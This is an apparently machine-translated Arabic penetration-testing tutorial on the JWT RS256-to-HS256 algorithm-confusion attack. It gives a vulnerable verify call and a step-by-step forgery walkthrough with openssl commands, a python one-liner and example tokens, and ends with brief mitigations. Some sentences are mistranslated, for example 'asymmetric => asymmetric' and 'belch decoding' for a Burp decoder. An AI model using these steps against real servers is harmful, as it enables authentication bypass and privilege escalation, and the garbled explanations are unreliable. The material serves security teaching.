للأغراض التعليمية فقط! مخصص لاختبار اختراق
الهاكرز .
قضية
تستخدم الخوارزمية HS256 المفتاح السري للتوقيع والتحقق من كل رسالة. تستخدم الخوارزمية RS256 المفتاح الخاص لتوقيع الرسالة ويستخدم المفتاح العمومي للمصادقة.
إذا قمت بتغيير الخوارزمية من RS256 إلى HS256 ، فإن رمز الواجهة الخلفية يستخدم المفتاح العمومي كمفتاح سري ثم يستخدم خوارزمية HS256 للتحقق من التوقيع. خوارزمية التشفير غير المتماثلة => خوارزمية التشفير غير المتماثلة.
لأنه يمكن للمهاجم في بعض الأحيان الحصول على المفتاح العمومي ، يمكن للمهاجم تعديل الخوارزمية في الرأس إلى HS256 ثم استخدام المفتاح العمومي RSA لتوقيع البيانات.
يستخدم رمز الواجهة الخلفية خوارزمية المفتاح العمومي RSA + HS256 للتحقق من صحة التوقيع.
مثال
تظهر الثغرة الأمنية عندما يبدو التحقق من جانب العميل كما يلي:
const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms )
لنفترض أن لدينا الرمز المميز الأول كما هو موضح أدناه و "=>" سوف تشرح التعديل الذي يمكن للمهاجم إجراؤه:
//header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' }
يستخدم رمز الواجهة الخلفية المفتاح العمومي كمفتاح سري ثم يستخدم خوارزمية HS256 للتحقق من التوقيع.
هجوم
1. التقاط حركة المرور ورمز JWT صالح (مثال NCC Group)
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg
2. فك شفرة رمزية مع تجشؤ فك
الهيكل هو header.payload.signature مع كل مكون 64 بتشفير باستخدام نظام آمن لعناوين URL وإزالة الحشوة.
{"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}}
3. تعديل رأس
alg إلى HS256
{"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}}
4. تحويل مرة أخرى إلى تنسيق JWT
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0
رأس وحمولة جاهزة للذهاب :)
5. نسخ شهادة الخادم واستخراج المفتاح العمومي
كل ما هو مفقود هو التوقيع ، ولحساب أننا بحاجة إلى المفتاح العمومي الذي يستخدمه الخادم. قد يكون هذا متاحًا مجانًا.
openssl s_client -connect <hostname>:443
انسخ إخراج "شهادة الخادم" إلى ملف (مثل cert.pem) واستخرج المفتاح العمومي (إلى ملف يسمى key.pem) عن طريق تشغيل:
openssl x509 -in cert.pem -pubkey –noout > key.pem
دعنا نحولها إلى عرافة ASCII:
cat key.pem | xxd -p | tr -d "\\n"
من خلال توفير المفتاح العمومي كـ ASCII hex لعملية التوقيع الخاصة بنا ، يمكننا رؤية وحدات البايت والتحكم فيها تمامًا
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:
المخرجات - أي توقيع HMAC - هي:
db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f
فيما يلي سطر واحد لتحويل توقيع ASCII السداسي إلى تنسيق JWT:
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"
الإخراج هو توقيعنا:
2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
ببساطة أضفه إلى رمزنا المعدل:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
6. إرسال رمزية تغييرها إلى الخادم.
قرار
1. استخدم خوارزمية تشفير واحدة فقط (إن أمكن)

2. إنشاء وظائف مختلفة للتحقق من خوارزميات مختلفة

مراجع
1.
medium.com/101- كتابة / اختراق- json-web-token-jwt-233fe6c862e62.
www.youtube.com/watch؟v=rCkDE2me_qk (24:53)
3.
auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries4.
www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through